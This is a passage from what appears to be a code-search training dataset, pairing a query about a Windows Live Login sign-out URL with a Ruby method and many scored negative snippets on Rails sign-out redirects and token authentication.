"def after_sign_in_path_for(resource)\n case resource\n when User then\n #store session user for gmail style login\n session[:user_id] = current_user.id\n #remember to use url for changing subdomain\n #stored_location_for(resource) will store the last location b4 login\n request.env['omniauth.origin'] || stored_location_for(resource) || root_url(subdomain: resource.current_education.university.codename)\n when Admin then\n rails_admin_path\n end\n end",
"def url\n File.join(DigitalRiver.config.oauth_url)\n end"
] |
[
"0.63973886",
"0.6394544",
"0.63663894",
"0.63637626",
"0.63618356",
"0.62533516",
"0.6235935",
"0.6221486",
"0.61892045",
"0.6148634",
"0.61156213",
"0.6032322",
"0.6030715",
"0.60246867",
"0.5973245",
"0.5967262",
"0.5954301",
"0.58876354",
"0.58760905",
"0.58620197",
"0.5858354",
"0.58343965",
"0.58342284",
"0.5795404",
"0.5793839",
"0.5788287",
"0.57781714",
"0.57726854",
"0.57726854",
"0.5757245",
"0.5744148",
"0.5716157",
"0.5678395",
"0.56753945",
"0.5675035",
"0.56716126",
"0.56685865",
"0.5656036",
"0.56491226",
"0.563871",
"0.56280905",
"0.55953014",
"0.55912995",
"0.55858135",
"0.55836",
"0.55759364",
"0.5569839",
"0.55659825",
"0.555409",
"0.55515236",
"0.55515236",
"0.55515236",
"0.5543661",
"0.5541765",
"0.55405754",
"0.55363667",
"0.55255914",
"0.5523538",
"0.5522879",
"0.5513481",
"0.55128014",
"0.55039203",
"0.54969406",
"0.5493699",
"0.54918677",
"0.5486648",
"0.5481953",
"0.54762554",
"0.5473217",
"0.5452373",
"0.5451578",
"0.54484606",
"0.5422627",
"0.5412094",
"0.5390365",
"0.53893614",
"0.53893614",
"0.5378184",
"0.53754234",
"0.53711474",
"0.53585994",
"0.53545463",
"0.5352893",
"0.5352668",
"0.5352036",
"0.5347189",
"0.53390044",
"0.53367543",
"0.5328818",
"0.53272265",
"0.5302976",
"0.52917737",
"0.5276529",
"0.52752787",
"0.52712893",
"0.5266747",
"0.5261444",
"0.5243455",
"0.5236837",
"0.5223595"
] |
0.73321176
|
0
|
Returns the signout URL to use for Windows Live Login. We recommend that you use the Sign In control instead.
|
def getLogoutUrl
baseurl + "logout.srf?appid=#{appid}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signout_url\n {:controller => 'auth', :action => 'signout'}\n end",
"def logout_url\n return @logout_url\n end",
"def auth0_logout_url\n # auth0_client.logout_url(root_url.to_s, include_client: true).to_s\n auth0_client.logout_url(root_url.to_s).to_s\n end",
"def getTrustedLogoutUrl\n secureurl + \"logout.srf?appid=#{appid}\"\n end",
"def logout_url(params={})\n auth_pds_url \"logout\",\n user_session_redirect_url(redirect_logout_url), params\n end",
"def after_sign_out_path_for(_)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n # 'http://www.google.com'\n ENV[\"APPLICATION_URL\"]\n end",
"def default_redirect_url_after_sign_out\n QAuthRubyClient.configuration.default_redirect_url_after_sign_out\n end",
"def after_sign_out_path_for(_resource)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"http://mybyteapp.com/\"\n end",
"def auth0_logout_url\n auth0_api = Auth0Client.new(auth0_credentials)\n auth0_api.logout_url(root_url)\n end",
"def post_sign_out_url=(url)\n @post_sign_out_url = url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_url\n end",
"def get_logout_url(redirect_url)\n logout_url = \"https://login.microsoftonline.com/common/oauth2/logout?\"\n logout_url << { post_logout_redirect_uri: redirect_url }.to_param\n end",
"def sign_out\n click_link 'Sign out'\n end",
"def get_destroy_session_path\n if current_user\n return \"/users/sign_out\"\n elsif session[:user_id] and session[:user_type] == \"UserControl\"\n return \"/user_controls/sign_out\"\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n new_user_session_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"https://diem25.org\"\n end",
"def after_sign_out_path_for(resource)\n '/users/auth/google_oauth2'\n end",
"def user_signin_signout_link\n if user_signed_in?\n link_to(\"[ Sign out ]\", destroy_user_session_path)\n else\n link_to(\"[ Sign in ]\", new_user_session_path)\n end\n end",
"def logout_url=(value)\n @logout_url = value\n end",
"def after_sign_out_path_for(resource_or_scope)\n #raise resource_or_scope.inspect\n root_url(:protocol => 'http')\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"/app/users/sign_in\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n if Rails.env.production?\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || KISALLI_URL\n else\n request.env['omniauth.origin'] || stored_location_for(resource_or_scope) || root_path\n end\n end",
"def after_sign_out_path_for(resource_or_scope)\n cookies.delete :pa_auth_token\n \n \"#{Civiccommons::PeopleAggregator.URL}/logout.php?redirect=http://#{request.host}#{request.port == \"80\" ? nil : \":#{request.port}\"}\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n 'https://www.recharles.xyz/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n Rails.configuration.devise[:sign_out_redirect_url]\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/users/sign_in'\n end",
"def after_sign_out_path_for(resource)\r\n app_root + \"/sessions/new\"\r\n end",
"def sign_out\n logout\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/signed_out'\n end",
"def after_sign_out_path_for(resource)\n session[:previous_url] || home_path\n end",
"def sign_out\n\n # mark them as signed out.\n # (this is a helper method of devise, the rails ruby gem we're using for\n # authentication in the sample app.)\n # \n # \n #session_sign_out <---- NEED TO CHANGE TO CUSTOM USER SIGN OUT\n\n # send them back to the homepage.\n redirect_to root_path\n\n end",
"def sign_out\n session.sign_out\n end",
"def after_sign_out_path_for(resource_or_scope)\n #remember to use url for changing subdomain\n new_user_session_url(subdomain: nil)\n end",
"def logout_url(redirect_url)\n \"#{self.class.base_uri}/auth/logout?redirectUri=#{redirect_url}\"\n end",
"def account_url\n return new_user_session_url unless user_signed_in?\n return :user_dashboard_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n # caught by apache to trigger pubcookie logout\n '/logout'\n end",
"def after_sign_out_path_for(resource_or_scope)\n root_url(subdomain: nil)\n end",
"def sign_out_link\n $tracer.trace(__method__)\n return ToolTag.new(a.href(\"/LogOff/\"), __method__)\n end",
"def logout_url(destination_url = nil, follow_url = nil)\n url = @logout_url || (cas_base_url + \"/logout\")\n \n if destination_url\n # if present, remove the 'ticket' parameter from the destination_url\n duri = URI.parse(destination_url)\n h = duri.query ? query_to_hash(duri.query) : {}\n h.delete('ticket')\n duri.query = hash_to_query(h)\n destination_url = duri.to_s.gsub(/\\?$/, '')\n end\n \n if destination_url || follow_url\n uri = URI.parse(url)\n h = uri.query ? query_to_hash(uri.query) : {}\n h['destination'] = destination_url if destination_url\n h['url'] = follow_url if follow_url\n uri.query = hash_to_query(h)\n uri.to_s\n else\n url\n end\n end",
"def after_sign_out_path_for(user)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/members/sign_in'\n end",
"def signout\n self.oaw_signout\n redirect_to root_url\n end",
"def after_sign_out_path_for(_resource_or_scope)\n '/'\n end",
"def default_sign_in_url\n sign_in_url\n end",
"def after_sign_out_path_for(resource_or_scope)\n if request.params[:type] == \"sso\"\n Rails.configuration.devise[:sign_out_redirect_url]\n else\n super\n end\n end",
"def after_sign_out_path_for(_resource)\n I18n.locale == I18n.default_locale ? '/' : \"/#{I18n.locale}\"\n end",
"def after_sign_out_path_for(_resource_or_scope)\n params[:return_url] || root_path\n end",
"def ssoe_slo_url\n Settings.saml_ssoe.logout_url\n end",
"def sign_out\n click_link t(\"sessions.signout\")\nend",
"def after_sign_out_path_for(_resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n \"#{Rails.configuration.relative_url_root}/logout.html\"\n end",
"def sign_out\n post \"api/logout\"\n @me = nil\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n user_session_path\n end",
"def default_sign_in_url\n user_sign_in_url\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n new_user_session_path\n end",
"def after_sign_out_path_for(users)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def fb_sign_out_tab\n %{\n <form action=\"/users/sign_out\" id=\"fb_connect_sign_out_form\" method=\"get\" style=\"display:none;\"></form>\n <li><a href=\"#\" onclick=\"FB.Connect.logoutAndRedirect('/users/sign_out')\"><span>Sign out</span></a></li>\n }\n end",
"def after_sign_out_path_for(resource)\n '/'\n end",
"def logout\n session[:user_id] = nil\n\n flash[:notice] = 'You have logged off'\n return_to = params[:return_to] || root_url\n redirect_to \"#{CUSTOM_PROVIDER_URL}/users/sign_out?redirect_uri=#{CGI.escape return_to}\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n # path before sign out request\n \"#{URI(request.referer).path}?logged_out=1\"\n end",
"def after_sign_out_path_for(resource_or_scope); end",
"def sign_out(*args)\n warden.logout(*args)\n end",
"def after_sign_out_path_for(user)\n new_user_session_path\n end",
"def after_sign_out_path_for(resource)\n new_user_session_path\n end",
"def after_sign_out_path_for resource_or_scope\n redirect_uri = params[:redirect_uri]\n redirect_uri ? redirect_uri : super\n end",
"def sign_out_and_redirect!(return_to = \"/\")\n sign_out_user\n redirect_to sign_out_url(return_to)\n end",
"def after_sign_out_path_for(resource)\n \tif params[:format] == \"mobile\"\n \t\troot_path\n\t\telse\n\t\t\tif resource == :user\n\t\t\t\tnew_user_session_path\n\t\t\telsif resource == :admin\n\t\t\t\tnew_admin_session_path\n\t\t\tend\n\t\tend\n\tend",
"def after_sign_out_path_for(resource_or_scope)\n \"#{new_user_session_path}\"\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def after_sign_out_path_for(resource_or_scope)\n '/'\n end",
"def redirect_url(callback_url)\n signin_url(callback_url)\n end",
"def after_sign_out_path_for(resource)\n\t\tnew_user_session_path\n\tend",
"def sign_out\n capture_sessions.delete(app.name)\n end",
"def logout\n \"/users/logout\"\nend",
"def after_sign_out_path_for(resource)\n \tnew_user_session_path\n end",
"def after_sign_out_path_for(_resource)\n root_path\n end",
"def after_sign_out_path_for(_resource)\n root_path\n end",
"def after_sign_out_path_for(_resource_or_scope)\n root_path\n # new_user_session_path\n end",
"def sign_out\n arguments = { \"token\" => token }\n response = Services::Web.post user: self, service: 'User Data Service', endpoint: 'Authentication', method: 'signOut', arguments: arguments\n @token = nil if response.status == 200\n nil\n end",
"def after_sign_out_path_for(resource_or_scope)\n login_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\n url = params[:continue]\n if !url.blank? &&\n valid_url?(url) &&\n @logged_out_user &&\n member_subdomain?(\n Doorkeeper::Application.authorized_for(@logged_out_user).map(&:url).compact,\n url)\n return url\n end\n super(resource_or_scope)\n end",
"def after_sign_out_path_for(resource_or_scope)\n user_session_path\n end",
"def after_sign_out_path_for(resource_or_scope)\r\n '/'\r\n end"
] |
[
"0.72259426",
"0.7151123",
"0.6907367",
"0.6801029",
"0.67777586",
"0.674799",
"0.6741841",
"0.67073745",
"0.6664136",
"0.6628351",
"0.66178346",
"0.65988636",
"0.65929955",
"0.6558004",
"0.6558004",
"0.65537596",
"0.6548527",
"0.65476865",
"0.6471767",
"0.642422",
"0.6409025",
"0.6402913",
"0.6388413",
"0.63666904",
"0.636653",
"0.6341253",
"0.6341253",
"0.6309607",
"0.63076097",
"0.62878",
"0.62838125",
"0.6269457",
"0.62571025",
"0.62269765",
"0.62176913",
"0.6200958",
"0.6193649",
"0.6171985",
"0.61587477",
"0.6152872",
"0.61524725",
"0.61517704",
"0.61508995",
"0.6149338",
"0.6146726",
"0.6146402",
"0.61432457",
"0.61278826",
"0.61165226",
"0.61035556",
"0.6073818",
"0.60738075",
"0.6064954",
"0.6064414",
"0.605174",
"0.60490674",
"0.6034358",
"0.6021736",
"0.60089123",
"0.6005517",
"0.6005517",
"0.6005517",
"0.6005517",
"0.60009116",
"0.5987995",
"0.5987995",
"0.5987026",
"0.59833205",
"0.59833205",
"0.59833205",
"0.59833205",
"0.59833205",
"0.59736806",
"0.59588075",
"0.5957223",
"0.59559774",
"0.5948531",
"0.5943979",
"0.59399444",
"0.59392536",
"0.5938409",
"0.59370816",
"0.5888379",
"0.5875725",
"0.58742756",
"0.58742756",
"0.5868467",
"0.58624375",
"0.5855452",
"0.58520716",
"0.58466357",
"0.58397573",
"0.58397573",
"0.5837521",
"0.583246",
"0.58253133",
"0.58138657",
"0.58114386",
"0.58037746",
"0.58032"
] |
0.68520045
|
3
|
Decodes and validates a Web Authentication token. Returns a User object on success. If a context is passed in, it will be returned as the context field in the User object.
|
def processToken(token, context=nil)
if token.nil? or token.empty?
debug("Error: processToken: Null/empty token.")
return
end
stoken = decodeToken token
stoken = validateToken stoken
stoken = parse stoken
unless stoken
debug("Error: processToken: Failed to decode/validate token: #{token}")
return
end
sappid = stoken['appid']
unless sappid == appid
debug("Error: processToken: Application ID in token did not match ours: #{sappid}, #{appid}")
return
end
begin
user = User.new(stoken['ts'], stoken['uid'], stoken['flags'],
context, token)
return user
rescue Exception => e
debug("Error: processToken: Contents of token considered invalid: #{e}")
return
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fetch_user_from_auth_token\n @user = decode_auth_token ? User.find(decode_auth_token['user_id']) : nil\n errors.add(:token, 'invalid token') if @user.nil?\n @user\n end",
"def user\n @user ||= User.find(decoded_auth_token[:user_id]) if decoded_auth_token\n @user || errors.add(:token, 'Invalid Token') && nil\n end",
"def user\n # find a User matching the decoded token if the decode operation was successfull\n user = User.find(decoded_auth_token[:user_id]) if decoded_auth_token\n\n if user\n # return the user if active\n return user if user.active\n\n # Else raise a JWTException Inactive Account\n raise(API::JWTExceptionHandler::InactiveAccount, APIMessages.account_not_active)\n end\n rescue ActiveRecord::RecordNotFound => e\n # Raise an Invalid Token if there is no matching User from db\n raise(API::JWTExceptionHandler::InvalidToken, (\"#{APIMessages.invalid_token} #{e.message}\"))\n end",
"def authenticate_user!\n payload = decode_token\n return unless payload.is_a? Hash\n\n @current_user = User.find payload[:user_id]\n end",
"def authenticate_user_from_token!\n raise AuthorizationError unless http_auth_token.present?\n result = find_user\n raise BadRequestError, result.errors if result.failure?\n @current_user = result.current_user\n end",
"def user \n @user ||= User.find(decoded_token[:user_id]) if decoded_token\n rescue ActiveRecord::RecordNotFound => e \n raise (ExceptionHandler::InvalidToken, e.message)\n end",
"def authenticate_user_from_jwt\n _, token = request.headers['Authorization'].split\n decoded_token = AuthToken.decode(token)\n User.find(decoded_token[:user_id])\n rescue NoMethodError\n raise Exceptions::UnauthorizedError\n end",
"def authenticated_user_with_token\n ApiKey.find_user_with_token(decoded_token)\n end",
"def current_user\n if decoded_token\n # Using the decoded token, grab the user_id stored within it and find a user\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def authenticate_user\n @token = Token.find_by(auth_token: request.headers['HTTP_AUTH_TOKEN'])\n return render json: { message: 'token invalid' }, status: 422 unless @token\n\n @current_user = @token.user\n end",
"def two_factor_authenticate(username, token)\n user = nil\n\n # NOTE: We need to uppercase the username as back office is case sensitive and trim the token\n # to handle dodgy cut and paste\n call_ok?(:authenticate_user, Username: username.upcase, Token: token.strip) do |body|\n # Set up the Authenticate user details from response\n user = from_backoffice body, username\n end\n\n user\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token)\n end",
"def get_current_user\n return if !bearer_token\n decoded_jwt = decode_token(bearer_token)\n User.find(decoded_jwt[0][\"user\"][\"id\"])\n end",
"def decoded_auth_token\n @decoded_auth_token ||= JsonWebToken.decode(http_auth_header)\n end",
"def authenticate_user_from_token!\n # Set the authentication params if not already present\n if username = params[:username].blank? && request.headers[\"X-Username\"]\n params[:username] = username\n end\n if authn_token = params[:authn_token].blank? && request.headers[\"X-User-Token\"]\n params[:authn_token] = authn_token\n end\n\n username = params[:username].presence\n user = username && self.class.token_authentication_class.find_by(username: username)\n\n # Notice how we use Devise.secure_compare to compare the token\n # in the database with the token given in the params, mitigating\n # timing attacks.\n if user &&\n ::Devise.secure_compare(user.authn_token, params[:authn_token]) &&\n DateTime.current < (user.current_sign_in_at + Devise.timeout_in)\n\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n\n # Set current user\n @current_user = user\n else\n # TODO: @giosakti investigate better behaviour for authentication during\n # testing\n raise LoginRequiredException unless ::Rails.env.test?\n end\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token)\n end",
"def authenticate_user_from_token2!\n puts request.format\n return true if request.format != \"application/json\"\n log_headers\n\n authenticate_or_request_with_http_token do |token, options|\n puts \"#\"*40\n # User.find_by(auth_token: token)\n user = token && User.find_by_authentication_token(token.to_s)\n # puts user.to_yaml\n if user\n sign_in user, store: false\n end\n user\n end\n\n # Notice how we use Devise.secure_compare to compare the token\n # in the database with the token given in the params, mitigating\n # timing attacks.\n end",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def authenticate_and_load_user\n authentication_token = nil\n if request.headers[\"Authorization\"]\n authentication_token = request.headers[\"Authorization\"].split[1]\n end\n if authentication_token\n user = JWT.decode(authentication_token, nil, false, algorithms: 'RS256')\n username = user[0][\"nickname\"]\n email = user[0][\"name\"]\n\n if user[0]['sub'].include? 'google-oauth2'\n email = username + '@gmail.com'\n end\n\n @current_user = User.find_by(email: email, username: username)\n if !@current_user.present?\n user = User.new(email: email, username: username, password: '000000', password_confirmation: '000000', auth_token: authentication_token)\n if user.save\n @current_user = user\n end\n end\n end\n return if @current_user.present?\n render json: {\n messages: \"Can't authenticate user\",\n is_success: false,\n data: {}\n }, status: :bad_request\n end",
"def decoded_auth_token\r\n result = Token::Decode.call(token: auth_token)\r\n add_error!(result.errors) if result.failure?\r\n result.decoded.first.deep_symbolize_keys\r\n end",
"def call(_obj, args, _ctx)\n input = args[:email]\n return unless input\n\n user = User.find_by(email: input[:email])\n return unless user\n return unless user.authenticate(input[:password])\n token = JsonWebToken.encode(id: user.id)\n\n OpenStruct.new(\n token: token,\n user: user\n )\n end",
"def call\n # after user login, will pass the user-id to the JWT to create token\n return nil unless user\n\n return JsonWebToken.create_token(user_id: user.id), user\n end",
"def decode_auth_token\n return nil unless verify_header\n\n JsonWebToken.decode_token(verify_header)\n end",
"def authenticate_user_from_token\n authenticate_with_http_token do |token, options|\n user_email = options[:email]\n user_email && User.where(email: user_email, authentication_token: token).first\n end\n end",
"def decode\n Result.new(*JWT.decode(token, configuration.secret, verification?, headers))\n end",
"def current_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n # Returns nil if not found\n end\n end",
"def decoded\n public_key = OpenSSL::PKey::RSA.new(options.public_key.to_s.gsub('\\n', \"\\n\"))\n @decoded ||= (JWT.decode request.params['jwt'], public_key, true, { :algorithm => 'RS256' }).first\n\n # check whether token has expiration time and is not expired\n raise ClaimInvalid.new(\"Token has expired.\") unless Time.now.to_i < @decoded.fetch('exp', 0)\n\n # check whether token contains unique identifier\n raise ClaimInvalid.new(\"Missing required jti claim.\") unless @decoded.key?('jti')\n\n # check for required claims\n (options.required_claims || []).each do |field|\n raise ClaimInvalid.new(\"Missing required '#{field}' claim.\") unless @decoded.key?(field.to_s)\n end\n\n @decoded\n end",
"def get_user_by_token(token)\n decoded = JWT.decode(token, 'somesecrethere')\n now = Time.now().to_i\n\n if (decoded[0][:expires] < now)\n return nil\n end\n\n user = User.find_by uuid: decoded[0][:user_id]\n if (!user)\n return nil\n end\n\n return user\n end",
"def authenticate\n \n authenticate_or_request_with_http_token do |token|\n begin\n decoded = decode(token)\n @current_user = User.find_by(id: decoded[0][\"user_id\"]) \n \n rescue JWT::DecodeError\n render json: {authorized: false }, status: 401 \n end\n end \n end",
"def user_from_json\n json = JSON.parse request.body\n\n username = json['authentication']['email']\n password = json['authentication']['password']\n\n if user = User.authenticate(email, password)\n user\n else\n nil\n end\n end",
"def decode(token)\n #return which user is this token???\n JWT.decode(token, secret_key, true, { algorithm: 'HS256' })[0]\n end",
"def current_user\n if decode_token\n #returns an array\n #user_id is the key on our payload\n user_id = decode_token[0]['user_id']\n #using user_id to find our user\n @user = User.find_by(id: user_id)\n else\n render json: { message: 'Did not find user.' }, status: :unauthorized \n end\n end",
"def decoded_token\n if auth_header\n # label token from the header of the request, the first word will be Bearer by convention\n # If you send in JUST the token as your Authorization you won't need the split\n token = auth_header.split(' ')[1]\n begin\n # decode the token with your secret password/phrase\n # This sequence is important to have the true and, for now, this algorithm\n # You can look into what they mean on your own, but just know they help JWT stuff work.\n JWT.decode(token, \"put your secret password here\", true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authenticate_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n else\n authentication_error\n end\n end",
"def get_user_info\n userTokenInfo = request.env['oauth.token']\n @user = userTokenInfo.user\n end",
"def authenticate_user_from_token!\n logger.info \"authenticating user\"\n authenticate_with_http_token do |token, options|\n username = options[:username].presence\n user = username && User.find_by_username(username)\n logger.info \"username: \" + username\n logger.info \"user: \" + user.inspect\n logger.info \"token: \" + token\n logger.info \"user_token: \" + user.auth_token\n if user && Devise.secure_compare(user.auth_token, token)\n sign_in user, store: false\n logger.info \"current_user: \" + current_user.inspect\n else\n logger.error \"login failed\"\n end\n end\n end",
"def decoded_auth_token\n @decoded_auth_token ||= Authentication::AuthToken.decode(http_auth_header_content)\n end",
"def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n @current_user = User.find_by(token: token)\n @current_user\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n user = User.find_by(access_token: auth_token)\n\n fail AccessDenied unless user\n\n @current_user = user\n end",
"def authenticate_user (temp = false)\r\n token = request.headers['token']\r\n user_token = Token.find_by(access_token: token)\r\n @current_user = nil\r\n if params[:hashtoken].present?\r\n if params[:id].present?\r\n hash_token = TokenEventInvite.where(access_token: params[:hashtoken], event_id: params[:id].to_i).first\r\n if hash_token.present?\r\n user_id = hash_token.user_id\r\n @current_user = User.find_by(id: user_id)\r\n else\r\n @current_user = authenticate_old_event( params[:hashtoken], params[:id].to_i)\r\n end\r\n else\r\n hash_token = TokenUserConfirmation.where(access_token: params[:hashtoken]).first ||\r\n TokenPasswordReset.where(access_token: params[:hashtoken]).first\r\n if hash_token != nil\r\n user_id = hash_token.user_id\r\n @current_user = User.find_by(id: user_id)\r\n else\r\n render json: ErrorResponse.new(\r\n code: 401, message: 'Missing token. Authorization has been denied for this request.'\r\n ), adapter: :json, status: :unauthorized unless temp\r\n return nil\r\n end\r\n end\r\n elsif user_token.present?\r\n user_id = user_token.user_id\r\n @current_user = User.find_by(id: user_id)\r\n if @current_user.present? && request.path.include?(\"/ambassador/\")\r\n @current_user = @current_user.admin.present? ? @current_user.admin : @current_user.av_user\r\n end\r\n else\r\n if token.present?\r\n @current_user = authenticate_old( token)\r\n if @current_user.present?\r\n if @current_user.present? && request.path.include?(\"/ambassador/\")\r\n @current_user = @current_user.admin.present? ? @current_user.admin : @current_user.av_user\r\n end\r\n return nil\r\n else\r\n render json: ErrorResponse.new(\r\n code: 401, message: 'User not found. Authorization has been denied for this request.'\r\n ), adapter: :json, status: :unauthorized unless temp\r\n return nil\r\n end\r\n end\r\n render json: ErrorResponse.new(\r\n code: 401, message: 'Missing token. Authorization has been denied for this request.'\r\n ), adapter: :json, status: :unauthorized unless temp\r\n return nil\r\n end\r\n if @current_user.blank?\r\n render json: ErrorResponse.new(\r\n code: 401, message: 'Bad Request: User not found'\r\n ), adapter: :json, status: :unauthorized unless temp\r\n nil\r\n end\r\n end",
"def get_user_id_from_token\n if request.headers['Authorization'].present?\n @token = request.headers['Authorization'].split(' ').last\n @payload ||= AuthToken.decode(@token)\n if @payload && @payload[:user_id]\n return @payload[:user_id]\n end\n end\n return nil\n end",
"def authenticate_token\n authenticate_with_http_token do |token, options|\n User.find_by(auth_token: token)\n end\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n\n if auth_token\n authenticate_with_auth_token auth_token\n # else\n # authentication_error\n end\n end",
"def authenticate_user\n return if request.headers['Authorization'].blank?\n\n jwt_payload = JwtHelper.decode(token: request.headers['Authorization'].split(' ').second)\n\n raise JWT::VerificationError if JwtBlacklist.any? { |obj| obj.jti == jwt_payload['jti'] }\n\n @current_user_id = jwt_payload['id']\n end",
"def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n token = JWT.decode token, Rails.application.credentials.jwt_secret,\n true,\n { algorithm: 'HS256' }\n token&.first['jti']\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def call(_obj, args, _ctx)\n input = args[:auth]\n return unless input\n\n user = User.find_by(email: input[:email])\n return unless user\n return unless user.authenticate(input[:password])\n\n OpenStruct.new(jwt: AuthToken.token(user),\n user: user)\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n user = user_token && User.find_by_authentication_token(user_token.to_s)\n \n unless user\n render json: { errors: 'user must signed in' }, status: :unprocessable_entity\n end\n end",
"def authenticate_user_from_token\n unless authenticate_with_http_token { |token, options| User.find_by(auth_token: token) }\n render json: { error: 'Bad Token'}, status: 401\n end\n end",
"def authenticate\n authenticate_or_request_with_http_token do |token, _options|\n @current_user = User.find_by token: token\n end\n end",
"def session_user\n decoded_hash = decoded_token\n if decoded_hash && !decoded_hash.empty?\n user_id = decoded_hash[0]['user_id']\n @user = User.find_by(id: user_id)\n else\n nil\n end\n end",
"def authenticate_user_from_token!\n user_token = params[:auth_token].presence\n if user_token\n user = User.where(authentication_token: user_token.to_s).first\n if user\n # Notice we are passing store false, so the user is not\n # actually stored in the session and a token is needed\n # for every request. If you want the token to work as a\n # sign in token, you can simply remove store: false.\n sign_in user, store: false\n else\n render status: 401, json: {success: false, error: \"invalid token\" }\n end\n end\n end",
"def authenticate_user\n jwt=cookies.signed[:jwt]\n decode_jwt(jwt) \n end",
"def token\n authenticate_with_http_basic do |username, password|\n\n user = User.find_by(username: username)\n if user && user.password == password\n render json: { token: user.token }\n else\n render json: { error: 'Incorrect credentials' }, status: 401\n end\n\n end\n end",
"def decoded_token\n if auth_header\n token = auth_header.split(' ')[1]\n begin\n JWT.decode(token, 'yourSecret', true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def authenticate_user\n if not params.has_key?(:auth_token)\n failure\n return\n end\n @current_user = User.find_by_authentication_token(params[:auth_token])\n # Adding the conditional to throw json error\n unless @current_user\n failure\n end\n end",
"def user_id\n decoded_token.first['user_id']\n end",
"def decoded_auth_token\n @decoded_auth_token ||= AuthToken.decode(http_auth_token, key_field: :admin_secret_key_base)\n end",
"def decoded_token\n if token_from_cookie\n token= token_from_cookie\n # byebug\n begin\n JWT.decode(token, Rails.application.credentials.jwt_token, true, algorithm: \"HS256\")\n # JWT.decode => [{ \"user_id\"=>\"2\" }, { \"alg\"=>\"HS256\" }]\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def logged_user\n if decoded_token\n user_id = decoded_token[0].to_i\n @user = User.find user_id\n end\n end",
"def current_user\n puts decoded_token\n \n if decoded_token\n # user_id = User.find_by(id: user_id)\n User.find_by(id: decoded_token[0][\"user_id\"])\n\n end\n end",
"def authenticate\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:password]).call\n json_response(auth_token: auth_token)\n end",
"def authenticate_user_from_token!\n auth_token = request.headers['Authorization']\n client_id = request.headers['Client-ID']\n\n if auth_token\n authenticate_with_auth_token(auth_token, client_id)\n else\n authentication_error\n end\n end",
"def decoded_token\n if auth_header\n # Removed token = auth_header.split(' ')[1] here\n begin\n JWT.decode(auth_header, ENV[\"SECRET\"], true, algorithm: 'HS256')\n rescue JWT::DecodeError\n nil\n end\n end\n end",
